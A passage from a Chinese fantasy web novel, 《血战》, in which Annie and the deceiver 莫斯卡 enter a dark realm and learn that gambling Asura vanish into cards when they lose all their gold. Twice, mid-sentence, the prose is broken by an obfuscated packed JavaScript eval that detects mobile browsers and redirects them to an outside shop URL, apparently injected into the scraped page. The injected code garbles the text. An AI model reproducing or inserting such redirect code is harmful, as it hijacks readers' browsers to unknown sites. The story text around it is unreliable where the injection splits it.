《血战》 1. 1 莫斯卡已经和约德尔城的人打成一片。 这是安妮回到约德尔城以后,很快发现的事实。 她的欺骗不仅仅是伪装、计策,还有情绪上的真诚。她总是让人觉得她在说实话,在用最敞开心扉的姿态面对一切。 在她面前,很容易就会展露出自己脆弱的一面,或者说出所有秘密。 这也是安妮当初被耍得团团转的原因之一:有着教师身份遮掩的菲缇,用起这种手段简直得心应手。 现在,提莫和崔丝塔娜的信任也被收入囊中,这是能预见的。 原本安妮还在思考要不要前去获得鬼牌,毕竟她如果要逆天,鬼牌掌控的阿修罗族并不能提供任何帮助,最多给自己锻造下身体——它是混战的利器,却不是复仇的必要。 然而,莫斯卡就像是看穿了安妮的思索。 在她回来的第一天,就开始在安妮耳边强调鬼牌的重要性。 阿修罗有多厉害,大家有目共睹,正因为它们残暴——对别人残暴,对自己更残暴——所以战场上,它们注定无往不利。 并且,阿修罗受重伤死亡不需要救治,他们会变回鬼牌,被收入牌堆。 这也是为什么英雄峡谷这个主战场年年有阿修罗。 不过可惜的是,即使知道这一切,莫格莱斯和埃克斯还是没法放弃对阿修罗的购买。即使购买的只是租借权,即使知道这些阿修罗就是一笔填不满的账。 总而言之,它们就是战争的必需品。 最主要的是,莫斯卡坦言,她进入黑暗领域是去找自己的老同事,那个收了无数金币的黑暗元首卜拉克。 让她把钱拿出来,支援后面的战争。 这是一笔无法估量的庞大数字,可能比拉缇这辈子赚的金币都多,不得不说安妮心动了。 只是…… “你为什么要帮我?” 别说什么师生情和喜欢约德尔城,那些都是骗崔丝塔娜和提莫的。 “进入黑暗领域,你就知道为什么了。” 莫斯卡摊手,表示无可奉告。 至于是不能说还是不想说,就不得而知了。 “不管怎么说,你都赚了不是吗?放心,你一定能获得鬼牌的,我和卜拉克都等你的好消息。到时候神器钱财两丰收,还担心加丁?” “万一卜拉克其实已经拿到鬼牌了呢?” 毕竟能让阿修罗去打仗,从而赚取利益。 “我向你保证,她没有,也没那个能力。能够获得鬼牌的,只有你。” 莫斯卡虽然喜欢骗人,但安妮很清楚她说实话的方式,而这几句,都是难得的实话。 “好,我去。” 即使知道莫斯卡必定有着不可告人的秘密,安妮仍旧不会退缩。 正如她所说,她不会害自己。 这就够了。 “我的建议是,这次把阿木木和提伯斯留在约德尔城,毕竟维迦给的入场券,能带的人不多,我可不想被挤出去。” “提伯斯也不行?” “不行。” “好吧。” 安妮叹了口气,决定了要带的东西。 不知为何,她确实不希望维迦和阿木木见面,这样也好。 最后,安妮只随身携带了几个灵果,除此之外就是别在腰间的幽冥扇。 和维迦相遇的地点在斩月山北部,与英雄峡谷相隔甚远,几乎是九十度的角,因此这一次,安妮没有选择绕过斩月山,而是直接翻山。 担心白天飞行会被天上的眼睛看见,安妮选择了步行,同时也看看莫斯卡的能力。 事实证明,人总是有擅长和欠缺的领域,才能被称之为人,而莫斯卡也不例外。她的欺骗手段无人能敌,但是体力方面就不尽如人意了。 白天的时候,安妮每隔一段距离就要停下等她。而到了晚上,她带着莫斯卡,直接腾空,速度甚至比在地上的时候还快。 幽冥里的凤凰翎羽,能让她操纵疾风御空而行,带人也没问题。 “你可以休息一下,放心,不会掉下去的。” “哇哦,能飞行很正常,但把我带上,是怎么做到的?” 莫斯卡的眼神里充满惊奇,就好像一个好奇宝宝。 她就是这样,哪怕所有人都知道她叫“诡术妖姬”,仍旧觉得自己是被真诚对待的那个。就像现在,她的眼眸甚至能比崔丝塔娜还明亮。 充满惊奇的语气,让人意识不到她在套话。 “你的速度在源大陆上恐怕没有对手了吧?” 虽然知道自己正在被套,安妮也不在意,莫斯卡总归不会和加丁是一起的,知道也没关系。 “我收服了幽冥寒焰,还做出了神装,我叫它‘幽冥’。” “它和幽冥寒焰有什么关系吗?” “没有,单纯是为了方便而已。” “御风而行,就是幽冥的能力之一吗?” “对,不过它的主要作用是防御。” 安妮和莫斯卡有一搭没一搭聊着天,云层之上,一个身影若隐若现,安静地听着。 “加丁如果知道你这近二十年的奇遇,恐怕要彻底疯狂。” 在安妮口中,神器就跟大白菜似的,更遑论她还送了无尽战刃给斯特恩斯。 “所以不能让他知道,起码现在不行。——你对鬼牌了解多少?” 莫斯卡问完了,轮到她了。 安妮不是没想过套话引导,但这一切在莫斯卡面前都不好使,还是开门见山算了,反正自己已经抛出橄榄枝。 而莫斯卡也没回避,坦然道:“其实我对黑暗领域的了解也不多,那毕竟是卜拉克的地盘。” “卜拉克?” “黑暗元首,阿修罗背后的操纵者,也是红蓝双方两边通吃的幕后黑手。幸好她在黑暗领域内,不然莫格莱斯和埃克斯但凡找到一点她的踪迹,肯定恨不得把她弄死。——所以我其实也不清楚怎么进入黑暗领域。” “这么听来,她好像是一个很精明的商人。” “额……也许吧。”莫斯卡耸耸肩,“我已经很久没和她共事了。” 所以也不知道她变成了什么样。 “不过你放心,卜拉克肯定在黑暗领域内,等到达了黑暗领域,她肯定会为我们接风洗尘,到时候你正好了解一下情况。” “……那就多谢了。” 安妮跟莫斯卡一边交流一边朝英雄峡谷赶去,一路上,没遇到什么阿修罗。 想来,阿修罗的战争已经告一段落了。 不管是人还是阿修罗死去,都是干干净净地走,阿修罗化为鬼牌,更是生不带来死不带去,因此英雄峡谷连血迹都没有。 干干净净的一片,和安妮过去去过的任何峡谷都没有区别。 她找了棵粗壮的树,将卡片插上去。树干很快裂开,露出和维迦当初进入的一模一样的洞口,安妮领着莫斯卡走进去,瞬间感觉眼前一黑。 面前的景象还是比较清晰的,只是整体暗了下来,就像没有开灯却有一道弯月的夜晚,周围的景色模糊但不影响视线。 地面是灰蒙蒙的泥土,抬头是黑漆漆的夜空。 一望无际——这就是黑暗领域吗? “站住!你们是谁?” 一个尖利的声音响起,不远处,走过来一个木偶。 它由几根棍子组成,细长的身体摇摇晃晃,关节处还冒着黑气。空洞的眼睛在黑暗中十分诡异,虽然瘦瘦小小,安妮却觉得他的力量不会弱。 “是我。” 莫斯卡上前,抬手点在木偶的头上。 木偶就像被断电一样,瞬间定住,但很快恢复。再次恢复行动,他已经毕恭毕敬,甚至弯下腰做了个“请”的姿势。 “欢迎光临。” 木偶说完,走在前面带路。 安妮有些诧异。 “这是……” “卜拉克的傀儡,长得还是那么简单粗暴。” “傀儡?” “我没有跟你说过吗?卜拉克最擅长的就是制作木头傀儡。之前在主人手下做事,我擅长套消息,她擅长偷消息。我的势力都是自己掌控发展出来的情报网,她的势力则来自这些无处不在的木傀儡。” “所以,这是来探查消息的?” “也不准确,它身上有卜拉克的黑暗力量,咱们如果被判定为‘入侵者’,恐怕就要和它打一架了。但你放心,卜拉克的傀儡也就力气大点。” 说话间,两人已经被领到一座宫殿。 黑漆漆的,看不清材质,在夜晚中如同一只潜伏的巨兽。 而她们,全都被带着走进巨兽的嘴里。 首先映入眼帘的是长长的通道,两边各放着拿刀的雕像,墙上还有凸出来的仗着獠牙的野兽头。 通道尽头,放着一张长长的桌子,这长桌足足有十多米,宽四五米。 最远处的窄边中间坐着一个女人,戴着牛角一样的U字头盔,正中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296878|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间一颗硕大的紫色宝石。抹胸紧身战衣,手臂上的黑色手套延伸到披着甲胄的肩膀下方。 靠近了才发现,那两个牛角一样的盔甲尖是毒蛇纹路,盔甲之下,是一双幽深的紫色眼眸。 这就是卜拉克了。 “你还是一如既往地喜欢搞形式主义。” 莫斯卡随便找了张椅子坐下,距离她三米左右。 安妮紧随其后。 “你来干什么?” 卜拉克的声音冷淡,丝毫没有莫斯卡那样友好。 “你不是还没得到鬼牌么?我带了个人来……帮你。” 莫斯卡挪挪身体,露出旁边站着的安妮。 “坐。” 卜拉克说完,旁边的木偶拉出椅子——就在莫斯卡旁边。 “谢谢。” 安妮看了木偶一眼,坐下。 同样都是上位者,她看见卜拉克,就想起了人鱼女王伊卡思。但两人完全是不同的风格,明明水晶宫要更冷一些,安妮却觉得这黑暗宫殿才是真的阴寒。 一道道菜被端上餐桌,是安妮从未享受过的待遇。 这段时间为了赶路一直吃灵果,她嘴巴里都淡出味了。不过安妮还是没有立刻动筷,等主人家发话,这是基本的礼貌。 谁知,一向圆滑的莫斯卡却率先开动了,甚至第一筷子夹给了安妮。 “吃,不用理她。”莫斯卡说完,看向卜拉克,“同为主人效力了那么久,你不会这点规矩都要计较吧?” “哼。” 卜拉克翻了个白眼,没有理会莫斯卡。 安妮没想到两人之间并没有那么和谐,但还是埋头吃饭,她没注意到,莫斯卡眼底的了然。 “光是吃饭太无聊了,你不说说黑暗领域的情况吗?也给安妮点提示。——对了,她叫安妮,象征光明。” 卜拉克点点头,表示知道了,随后,开始介绍黑暗领域的情况。 “其实,我知道的也不多,黑暗领域分为三部分,而我在最外层。最中间和最里面都是阿修罗的地盘,我很少踏足。 黑暗领域就如同它的名字一样,所有光亮都是无效的,你也看见了。不是我买不起照明的东西,这里连法力都一律是黑紫色的。 至于阿修罗,红蓝阿修罗都是从两个通道出来,直接被分入两个战场的,我从不干涉。通道具体长什么样我也不知道,这一切都要你自己去探索。” “那您见过紫色阿修罗吗?” 安妮还是比较关心维迦的去向,说不定这可以成为突破的点。 可惜,卜拉克十分干脆地摇头:“没见过,甚至可以说,没有一点印象。” “好吧,谢谢。” “这个世界上,有紫色阿修罗?” 卜拉克难得问问题,于是安妮就将和维迦相遇与相处简单说了一下。 而没有情感的滤镜与细节的补充,卜拉克很快就提出一个问题:“蓝色和红色,加起来好像是紫色。” “什么?” 这是一个很新奇的结论。 当初维迦出生后就被划分了阵营,因此安妮从没想过他可能是红蓝相加的产物。 “你记住一点就行:鬼牌遵循规则。这是我能给你的唯一忠告,也是你获得鬼牌的关键。” 规则? 阿修罗可以说是混乱的代名词,他们残暴、野蛮,只要给钱,自己人都可以打自己人,他们会遵守规则? “对了,提醒一下,在黑暗领域并不禁止使用武力,但发现规则需要的是头脑。当然,如果你要打架,我会无视。” “好的。” 安妮和卜拉克交流完之后,便被木偶带去黑暗领域的第二层。 也就是卜拉克所说,她没有涉足的中层。 等到安妮彻底离开,莫斯卡才往椅子上一瘫。 看见她吊儿郎当的模样,卜拉克很想纠正,但忍住了。而莫斯卡此时已经确定心中猜想,更加肆无忌惮。 “之后,我恐怕都要留在这里了吧?” “你先拿着金币滚。” “别这么暴躁嘛,如果没猜错的话,未来几十年,我们都要在一起相处。” 等到主人引导安妮放出魔兽毁灭世界,唯一不会被波及的就是黑暗领域,而再出来,就是她们的天地了。 当然,那个时候,也许她们也会承受不住孤独,主动让世界上再无生灵,但总之,这是黑暗的胜利。 她们梦寐以求的胜利。 2. 2 安妮被领到一片空地后,那个带路的木偶就干脆地离开了。 没有什么告示牌,也没有什么地标建筑,甚至和之前的环境没有一点区别。但这里,已经是黑暗领域的第二层? “哈哈哈哈!我赢了!” “怎么又输了?再来再来!” 嘈杂的声音从很远的地方飘来,安妮循声走过去。 还是一片漆黑的环境,但面前多了很多人。他们围着一张桌子,叫嚷着、欢闹着,兴奋的情绪感染着所有人。 就如同圣城的赌城里那些豪掷千金的赌徒,猩红了双眼,将自己的一切身家投进漩涡。 只是这些人要矮小许多,并且个个都长得很像。 安妮觉得有些奇怪,她尝试着靠近,那些人毫无所觉。一直走到最里面,她终于看见:这些都是阿修罗。 在黑暗里不太容易看得清颜色,但总归是红蓝紫其中一个。 安妮想拉一个人询问,但直接被推开,那个阿修罗双眼紧紧地盯着赌桌,嘴里不耐烦道:“滚开滚开!别碍事!” 阿修罗的脑子也能赌博? 本就好奇的安妮干脆找了个位置,观察起来。 黑暗里,一切都很模糊,但桌面上的场景还算清晰。为了让大家看清,桌子上没有任何人敢遮挡。而此时,上面正有一个骰子在翻滚。 “单!单!单!” “双!双!双!” 阿修罗们嘶吼着,把桌子拍得震天响。拍不到桌子的,就掐自己的大腿、手臂,总之要找到一个发泄的出口。 最后,骰子停在了“5”那一面。 “唉!” 顿时有不少阿修罗开始叹气,而其他阿修罗则是一脸欣喜地扑上桌子。哗啦啦的声音响起,桌子另一端的东西被洗劫一空。 距离太远,加上太黑,安妮看不清那是什么。但她猜测这应该是筹码一类的东西,因为分赃的都是赢的人。 这一桌的经过看完,安妮又换下一桌。 是的,她才发现,阿修罗的赌桌不止一个,不远处就有两个,走过去,就发现向外延伸又有好几个。 这些赌桌仿佛无穷无尽,安妮便从第二个开始观察。 这次,不是猜单双,是猜数字,赢的阿修罗变少,只有六分之一。而安妮也看清了,放在赌桌上的筹码,是金币。 不过是黑漆漆的金币。 即使是放在哪里都会发光的金子,在黑暗领域也没有特权,照样黑漆漆的。 摸清了周围的环境,安妮开始思考一个问题。 这些阿修罗和鬼牌有什么关系? 鬼牌鬼牌……那他们的桌子上,有牌吗? 安妮放眼望去,可惜只看得到阿修罗人头攒动。她也不着急,静下心慢慢找,很快就发现了用牌进行游戏的阿修罗。 这是类似扑克牌的纸牌,一共54张,翻开的内容也和扑克牌一模一样,唯一的差别就是黑漆漆的背面。 扑克牌能做的游戏就很多了,不少游戏,安妮都有点看不懂规则。 毕竟什么都要观察,还是很累的。 就在安妮看得头晕眼花,打算休息一下的时候,忽然注意到不远处的赌桌上,似乎有异常。 一只纤细黝黑的手悄悄伸到桌面上,从大堆的金币中抓出一把。喧闹的人声把金币的响动淹没,黑手的主人正想迅速抽身,忽然被按住肩膀。 “抓到你了。” 看着面前黑漆漆的阿修罗,安妮若有所思。 之前她以为阿修罗只有三种颜色,但大错特错。很久之前她就发现了,这里的阿修罗都是黑色的。 不是光线原因,是本就漆黑,全身漆黑。 而面前的阿修罗,黑得几乎要与夜空融为一体。 这也给了他绝佳的偷盗条件,如果不是自己发现,想来他已经得手了。 安妮带着这个黑暗阿修罗走到一边,奇怪的是,他并没有表现出太大的抗拒和愤怒。要知道,其他阿修罗就像是失去理智的恶鬼,守着赌桌不愿离开,她根本无法想办法将他们拉出来问话。 直觉告诉安妮,这是突破点。 “说吧,这里是哪,一切又是怎么回事。” “什么哪跟哪?什么怎么回事?我不知道。你阻止我干嘛?” 安妮没见过偷东西还这么理直气壮的,她叉腰。 “你别以为我没看见,你刚刚明明就是在偷金币!” “偷?金币?我不知道!不知道!” 黑色阿修罗像极了无理取闹的撒泼小孩,安妮一问三不知,最后,她试探道:“你叫什么名字?” “我叫负三号。” 这次回答了。 安妮有些明白过来。 如果把这些阿修罗类比成只知道工作的程序,那面前的负三号阿修罗就是高级一点的程序。只是超出他认知范围的东西,他还是不知道。 所以面前的阿修罗不是不承认,是真的不知道何为“偷窃”,甚至可能不知道他为什么要偷窃。 “好吧……“ 她必须想点负三号能回答的问题。 “这些阿修罗叫什么名字?” “这是负五千一百零八号,这是负五千一百零九号,这是负五千一百一十号……” 负三号指着赌桌前的阿修罗,一个个报数。死板的反应让安妮更加确定了他的机械,也产生了一个问题:阿修罗到底有多少? “好了好了,停下。” 负三号顿住,看着安妮问道:“我可以走了吗?” “啊?” 他还知道离开? 这家伙到底是不是机器?还是说刚才都是骗她的? 安妮不确定了,思考再三,她回答:“你跟着我。” 这下轮到负三号“啊”了。 听着负三号充满疑问的语气,安妮再次强调:“我说,让你跟着我。” “为……为什么?” 负三号迟疑很久,问出这么个问题,语气充满不确定性。安妮猜测,这大概已经绞尽他的脑汁了。 “没有为什么,你跟着我。” “哦。” “跟着我,走在我旁边,不准到处乱跑。” “知道了。” 安妮确定负三号听懂了,便继续行走。 这一次,安妮随便找了个方向,也不管赌桌上的赌博方式变没有。她的所有注意力都集中在负三号身上,一路不动声色地观察着。 经过长达数小时的行走,安妮基本也确定了。 负三号就算不是机器,脑子里应该也有半张芯片。他老老实实跟着自己,保持着适当的距离,不知疲倦。他的眼神只看前路,偶尔会瞅瞅周围,但立刻掰正头。 虽然黑暗中看不清动作,但安妮能感觉到,负三号没有什么大幅度的举动。 唯一让他产生改变的,大概就是赌桌上的金币了。 负三号总是会对放满金币的赌桌感兴趣一点。 安妮还没从负三号的身上看出个所以然来,忽然发现右边赌桌上似乎少了个阿修罗。 就是一瞬间,那个黑色的阿修罗迅速浓缩不见,空隙被其他阿修罗填满,一切就好像没发生过。 但是安妮确信自己看到了。 “那边,那桌的阿修罗叫什么名字?” “他叫负六千七百五十一号,他叫负六千七百五十二号,他叫负六千七百五十四号,他叫负六千七百五十五号……” 如果没猜错的话,负六千七百五十三号不见了。 “你们会消失吗?因为什么?” “不知道。” 果然是预想之中的答案。 安妮决定不走了,她在原地坐下,旁边就站着负三号。 等待。 大概过了半个多小时的样子,安妮看见又有两个阿修罗消失了。 这次她看得真真切切,阿修罗似乎变成了一张卡牌,随后直接消失在原地。那卡片通体漆黑,没看到正面。 安妮决定这次再认真一点,她干脆找了一个赌桌,专门盯着上面的阿修罗看。 过了一会儿,随着一场赌局结果的宣布,一个阿修罗尖叫一声,化成卡牌。卡牌正面是一个蓝色阿修罗的模样,右下角似乎写着一串数字,背面则是一片漆黑,就和之前看到的一样。 他的尖叫在沸腾的人群中太不起眼,安妮之前甚至没注意到。 不过这不是重点……阿修罗会化成卡牌,这才是重点。 直觉告诉她,这些阿修罗化成的才是鬼牌。 而如果按照编号来看的话,鬼牌可能有一万张……难怪是混战利器。 端看现在,旁边的负三号还是站得笔直,没有一丝晃动,就能知道阿修罗体能有多好。加上他们力大无穷、不伤不怕,简直就是战争机器。 “你累吗?” “不知道。” 安妮耸耸肩,也不指望再问出什么了——她现在有更重要的事情需要验证。 安妮找了一张赌桌,上面的金币堆成小山,足可看出一场赌局厮杀有多激烈。而她要找的,就是豪掷千金的阿修罗。 这些阿修罗的金币都是揣在贴身的兜里的,要看出谁没钱了不太容易,但总能找到。 或者,盯着一个兜里没多少钱的看也行。 总之,安妮找到了身无分文,并且输掉最后一场赌局的阿修罗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296879|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那阿修罗尖叫一声化为卡牌,然后消失。他旁边的同伴立刻取代了他的位置,甚至没有一点犹豫。 而安妮再三观察,也终于确定:这些阿修罗,输到没钱,就会消失。 金币这么重要,难怪负三号要去偷金币。 “你还有多少金币?都给我。” “不行,金币是我的。” “什么?” 安妮傻眼了。 她的话不是疑问是命令,原因也很简单:她并不觉得负三号会拒绝。 甚至安妮都做好他说“不知道”,然后自己动手的准备了。 但现在,负三号拒绝了她?还说金币是他的? 金币当然是他的,但负三号怎么会有这个意识? 安妮之前在守望麦田看过一本有关于操控人心的书,虽然自己不擅长,但还是看完了前半部分。 书上说有灵之物都有意识,而意识也分低级和高级。 最基础的就是认知意识,你是谁我是谁他是谁,这是什么那是什么……而最高级的就是计谋意识,也叫智谋意识,简单解释就是利用别人的意识达成自己的目的。 她第一反应就是负三号的意识觉醒了。 当然,不是智谋意识,而是归属意识。 或者说详细一点,自我意识:现在的他,知道金币是他自己的了。至于他知不知道有些金币是从别人那偷来的,还有待商榷。 那么,自己只需要等待一下就好了,因为没猜错的话,之后负三号会觉醒主从意识。 主从意识,也可以分为慕强意识和从众意识,只不过一个是跟着厉害的人,一个是跟着多数人。 而安妮只需要让负三号认自己为主就好了,到时候还不用担心他逃跑。 现在的时间也不能浪费,安妮便融入赌桌,开始观察。 之前的她比起参与者,更像一个旁观者。看着阿修罗输输赢赢,甚至没有了解玩法。但是现在不同了,她要想办法收服这些阿修罗,就要获得金币,就要赌博。 安妮首先找的是一个玩骰子的赌桌,因为规则相对要简单点。 之前是比大小,这里是猜单双,只不过不止一个骰子。阿修罗押注以后,主持赌局的阿修罗便将一个骰子放进盒子里摇,紧接着扣在桌面上。然后,他拿出另一个骰子甩。 明面上的那个骰子结果是“4”,但这不代表押双的阿修罗取得了胜利,因为黑色盖子里还有一个骰子。 阿修罗缓缓拿开盖子,露出里面的数字:“3”! 数字相加,是“7”,押单的阿修罗获得了胜利。 这些阿修罗立刻兴奋地将自己的金币和赢来的金币收入囊中,而安妮数了数,感觉有些奇怪。 赢来的金币无法均分的时候,就给那个主持赌局的阿修罗。 如此看来,金币又不是那么重要了,因为只要去主持赌局,就稳赚不赔。 难道,主持赌局的阿修罗必须有什么要求? 安妮找了张赌桌,又看了很久,她发现主持赌局的阿修罗其实是轮换的,也就是说,一张桌子上的阿修罗,总会有一个当主持人,不过只当一局。 让安妮惊讶的是,这些阿修罗还挺不情愿,即使是快要没钱的阿修罗,拿到这份差事也哭丧着脸。 为什么看得出来?因为参与赌局的阿修罗都在沸腾欢呼,而主持赌局的阿修罗都保持沉默。 安妮正在分析赌桌上的风云变幻,忽然感觉旁边的阿修罗似乎想离开。 他摸着兜里的金币,盯着阿修罗最多的赌桌,跃跃欲试。 看来,是主从意识正在觉醒了。 “喂,把金币给我。” “不给。” 这次负三号甚至没说为什么,想要离开。 “不给?“ 安妮把拳头揉得咔咔作响,抓住负三号,找空地揍了一顿。 她打得并不重,动静也不大,在人声鼎沸的赌局中间毫不起眼。只有负三号真真切切感受到了疼痛,被打得嗷嗷求饶。 “金币给我。” 不得不说,这种欺负人的感觉还挺爽,难怪光明学院这种地方都有霸凌。 负三号可怜兮兮地拿出仅剩的几枚金币,看着安妮的眼神却没有仇恨,反而隐隐带着崇拜。 此时的他还没有产生自由意识——也是真正的自我意识。他并不觉得自己被伤害了,只看到安妮强大的实力以及财力——虽然这财力是他给的。 总之,如今的安妮一定是强过他,以及这里所有阿修罗的。 “乖乖跟着我。” “好。” 这次的负三号格外乖巧。 安妮拿着金币,走上赌桌。 3. 3 这个赌桌的规则是比大小,操作非常简单。 就是两个骰子,分为左右,先押左大还是右大。下注以后由主持人开始分别扔两个骰子,最后比对大小。 概率都是一样的,安妮尝试着下了左边。 “左!左!左!” “右!右!右!” 阿修罗还是不住欢呼着,只是这一次,安妮加入了祈祷的行列。她没有大喊出声,只是心里默念着,一定要是左。 负责主持的阿修罗同时甩了左右两边,也没有故意制造悬念的意思,直接两边同时打开。 左“5”右“1”,左赢了! 安妮学着旁边胜利的人,将自己押的注和赚的金币收回。 不知为何,这些阿修罗似乎都只下一个金币,她也就先下了一个金币试水。此时赢了,也只赢到了一个金币。 赌局再次开始,又是哗啦啦的金币被摆放成堆。 虽然很多,但其实每个阿修罗就只给了一个金币,很少遇到有给两个的。 速度有些慢,安妮能确定之前遇到过阔绰的阿修罗,桌子上的金币几乎堆成小山,因此,她决定换个目标。 要看哪个桌子上金币多很简单,安妮很快就找到了一个赌桌。 这个赌桌的规则要复杂些,安妮看了许久才学会。二十一点,简单来说就是参加的阿修罗先押注,然后每个阿修罗都得到两张扑克牌,接着他们会选择继续摸牌或者就此停止。 超过二十一点的阿修罗视为爆炸,最接近二十一点的阿修罗获胜,在中间的阿修罗照样是输。 因此,阿修罗们基本都会选择摸牌。 安妮这次下了五个金币,这是负三号手里的一半,却是这张牌桌的入场券。 是的,每个牌桌上的玩法不一样,下注和收取的方式也不一样,这张赌桌玩法是二十一点,押注方式是每人五个金币,而胜利的一方,就可以获得所有赌注! 游戏开始,她紧张地查看自己的牌:一张“7”,一张“5”。 根据经验,还可以再摸。 安妮又摸了一张,“3”。 这个数字不大,但再摸下去又很容易炸。安妮纠结片刻,最后还是决定继续。 没想到,下一张是“6”! 正好二十一点! 自己旁观了不下十场牌局,可是凑齐二十一点的寥寥无几,安妮没想到自己也能成为那个幸运儿。 最关键的是,二十一点必定获胜,就算和谁打成平手,也能得到一半的金币! 事实证明,好运并不是大白菜。阿修罗们最高点数才十九点,安妮轻而易举获得了胜利。 她在阿修罗的欢呼声中再次下注,投入新一轮的征伐。 输,很正常,再来就是了。 只要赢了,赚取的远远能够弥补这点损失。 你来我往,安妮沉浸在赌局中,时间很快过去…… 就在她又要开始下一轮游戏的时候,旁边的负三号忽然也挤了上来。他看着安妮,语气坚定道:“给我金币,我也要加入。” “什么?” 负三号因为慕强意识的影响,一直跟在她身边,寸步不离,连说话都很少。可是现在,他却主动找自己提要求——应该是觉醒下一段意识了。 这么快的吗?还是说,自己玩得太久了? 安妮看了看手里的金币,才几十枚,和一开始参加游戏的时候差别并不大。 最初自己赢的次数确实很多,但后来越来越少,反而把赢来的都输进去了。只是胜利的收获太大,对比之下输的又不是那么多了。 周而复始,无穷无尽。 根本没办法得到所有金币! “你还有多少金币?还给我,我也要去。” 安妮确信负三号是不会沉迷赌博的,所以他现在应该是觉醒了族群意识,想要合群。只是,这金币当然不能给他。 “你跟着我,金币会有的。” 到底是提醒了自己,安妮也没对负三号太过察言厉色。 继续赌博是不现实的,她开始思考别的办法。 就在安妮带着负三号边走边想的时候,忽然又看到一只黑漆漆的手伸向赌桌。 她立刻上前,想抓住那个小偷。 这绝对是和负三号一样的突破点! 然而这个阿修罗似乎格外聪明,察觉到安妮朝自己跑来,他便收了手,融入杀红眼的阿修罗中,一起嘶吼,把桌子拍得震天响。 安妮赶到的时候,看见的只有一个个无比相似的阿修罗。 那个阿修罗的反应不是负三号能比的,无论是身体,还是脑子。 这让安妮不得不怀疑,也许,负三号属于那些聪明阿修罗里的笨蛋。 不论如何,一定要找到他!安妮握拳,视线在牌桌上逡巡。 这些阿修罗不赌到最后一刻不会罢休,离开的必定有问题,她就不信找不出那个阿修罗。 然而,就在安妮聚精会神盯着桌面的时候,身边忽然传来响动。她赶忙回头,果然,负三号想要离开! 就算如今的他没有自由意识,潜意识里也想要摆脱自己加入族群。 安妮拉住负三号的衣角,再回头,就感觉赌桌上的布局变了。 还是让那个阿修罗跑了。 不过没关系,至少负三号没跑,安妮很清楚不能因小失大。 考虑到负三号之后肯定会反抗,安妮决定暂时离开赌场,去找一根结实点的绳子。 她随便选了个方向前进:其实只要对比一下赌桌上的金币多少,很容易就能找到出口。 只是没想到,走到边缘线以后,负三号却卡住了。 就像是撞上了一面空气墙,无法行走。 安妮没办法,想了想,只能将兜里的金币给他,指着距离最近的赌桌道:“去那里玩吧。” 负三号顿时眉开眼笑,拿着金币走了。 安妮不敢耽误,确定负三号所在的赌桌位置,便立刻朝外跑去。 过了一会儿,她终于再次看到了卜拉克的木头人。 “请你给我一根绳子!” 木头人意识和卜拉克相通,应该能转达。 果然,为首的木头人眼睛闪了闪,随后僵硬地点头。 但安妮等了许久,都没有等到绳子,而是等到了莫斯卡。 见莫斯卡手上没有绳子,安妮疑惑了。 “这是……” “抱歉,我要很遗憾地通知你,如果你的绳子是用于黑暗领域二层的阿修罗身上的话,恐怕不行。” “为什么?” “它们都是以灵魂的方式存在的,虽然能够触摸到,但那只是因为你进去的时候是魂体。而想束缚它们,需要一根灵魂做的绳子。” “那……” “我们当然没有。” “哪有?我可以去找!” 只要快一点,应该来得及。 负三号觉醒意识的时间明显是越来越长的,之前她浪费了很多时间,好在推算下来至少还有十多天。 “你找我们拿绳子,是为了做什么?” “就像你说的,束缚一个阿修罗。我现在让他在一个区域活动,但是不知道过多久,他就会离开。” “这好办,只要让它听你的话就好了。” “可是他会觉醒自由意识的……总之,他不可能一直听我的话——不然我也不会想办法找你们要绳子了。” “是么?看来你还没有摸清黑暗领域二层的规则。——我以为你已经知道了呢。” “什么规则?” “你有尝试过完全胜过一个阿修罗吗?将它的金币赢完的那种。” “我……想过,但是没有。” 赌桌上有输有赢,后期的她甚至快要倒贴,哪里有机会完全赢过谁?正是连这一点都没做到,安妮才觉得时间都被浪费了。 “你是说,将他们完全压制取胜,就能得到这个阿修罗的控制权?” “也不完全是……但总之,赢完那个阿修罗的金币,会有你想要的结果。” “我明白了!但是,我的牌技其实并不高超……你有什么技巧吗?” “玩牌?这可是卜拉克的拿手技能啊。或许,你可以去找她探讨一下。磨刀不误砍柴工,不是么?” “带路。” 安妮和莫斯卡赶到王宫的时候,桌子上已经放了三个骰子。 卜拉克面色冷淡,拿着和骰子中点一样颜色的扑克牌在手里耍弄。她的手指灵活,不知怎么操作,扑克牌在她手中便被洗得哗啦啦作响。 她甚至将扑克牌丢到空中,从下方接住,纸牌连成一条直线,没有断开,也没有抛撒。 “你还是这么喜欢花里胡哨的东西。” 莫斯卡说完,示意安妮坐在旁边,她则挨着安妮坐下。 “学牌?” “嗯……” 安妮点点头,有些拘谨。 卜拉克直接开始教学,缓解了尴尬:“无论是灵牌还是灵骰,其实都是有灵的,只要控制了其中的灵,想要改变数字自然是轻而易举。” “控灵?” 安妮还以为卜拉克会教学黑暗中如何悄悄行动,看牌换牌,没想到,手段竟然这么简单粗暴。 “你如果想和我一样,做到在黑暗中神不知鬼不觉地用物理手段换牌换点数,也不是不可能,但十多天的时间,恐怕来不及。” 所以只能走捷径。 “下面,我就教你,怎么感知牌灵。你要做的,就是恐吓它、收服它,让它为你所用。” “什么?” 